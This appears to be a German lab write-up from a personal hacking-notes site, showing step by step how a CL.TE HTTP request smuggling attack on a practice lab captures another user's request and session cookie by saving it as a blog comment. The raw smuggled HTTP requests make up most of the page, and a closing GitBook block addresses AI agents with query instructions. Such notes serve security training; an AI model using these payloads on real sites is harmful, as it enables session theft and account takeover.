> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/capture-queries-from-other-users.md).

# Abfragen anderer Benutzer abfangen

### Ausnutzen von HTTP Request Smuggling, um Anfragen anderer Benutzer abzufangen

Das Lab richtet einen Frontend-Server und einen Backend-Server ein. Das Frontend **unterstützt die Chunked-Codierung nicht**. / Das Ziel ist es, zu **Schmuggler** eine Anfrage an das Backend zu senden, sodass **die nächste Benutzeranfrage** ist **von der Anwendung gespeichert**. / Dann, **diese Anfrage wiederherstellen** und die **Cookies des Opfers** verwenden, um auf sein Konto zuzugreifen.

Das Lab simuliert einen Opferbenutzer: Nach jeder der wenigen gesendeten POST-Anfragen führt das Opfer seine eigene Anfrage aus. / Manchmal ist es notwendig, den Angriff mehrmals zu wiederholen.

> Obwohl das Lab HTTP/2 erlaubt, muss die Lösung **HTTP/1** verwenden, da einige Techniken nur in diesem Protokoll möglich sind. " " Das Frontend interpretiert **Content-Length**, während das Backend **Transfer-Encoding: chunked**, wodurch ein ausnutzbarer Versatz entsteht. " " Die Burp-Erweiterung HTTP Request Smuggler kann helfen, Längen manuell zu korrigieren.

#### 1. **Vom Frontend interpretierte Anfrage**

Das Frontend liest `Content-Length: 13`, dann sieht es auch `Transfer-Encoding: chunked`:

```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

postId=6
```

Nach dem Ende des Chunks (`0`), wird eine zusätzliche Backend-Anfrage hinzugefügt.

<figure><img src="/files/825a63e83fe9ffbdc129f0e8ee736abede3be262" alt=""><figcaption></figcaption></figure>

#### 2. **Einfügen einer POST-Anfrage zum Veröffentlichen eines Kommentars**

Du konstruierst eine eingeschmuggelte Anfrage, die eine zweite vollständige Anfrage enthält:

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked

0

postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

Ergebnis\:/ Die eingeschmuggelte Anfrage wird so behandelt, als käme sie aus deiner eigenen Sitzung, und die Anwendung veröffentlicht den Kommentar.

<figure><img src="/files/a24f8b4aa7a7db6c989f25231962576fe23b64aa" alt=""><figcaption></figcaption></figure>

#### 3. **Das Opfer dazu zwingen, einen Kommentar zu veröffentlichen**

Du änderst den Body zu:

{% code overflow="wrap" %}

```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

{% endcode %}

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

und sende eine ähnliche Anfrage. / Beim Neuladen zeigt die App **Vielen Dank für Ihren Kommentar**, was darauf hinweist, dass das Opfer diesen Kommentar gepostet hat.

<figure><img src="/files/2098f06bb57dba54613b824c8b06ab09b7f79be7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e8898d5ca3d45e1df4d57aa667887c31ca1098fb" alt=""><figcaption></figcaption></figure>

#### 4. **Bereite das Abfangen der Anfrage des Opfers vor**

Um die gesamte Anfrage des Opferbenutzers abzufangen, erhöhst du den `Content-Length` sodass das Backend die folgende Anfrage als Inhalt verarbeitet:

```http
Content-Length: 1000

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```

Die nächste vom Opfer gesendete Anfrage wird dann in den erwarteten Body aufgenommen... / und wird zu **in der Speicherung der Anwendung einsehbar**.

<figure><img src="/files/5d29fc50a77372a3a812fc6b234294b762f7b4c7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/capture-queries-from-other-users.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
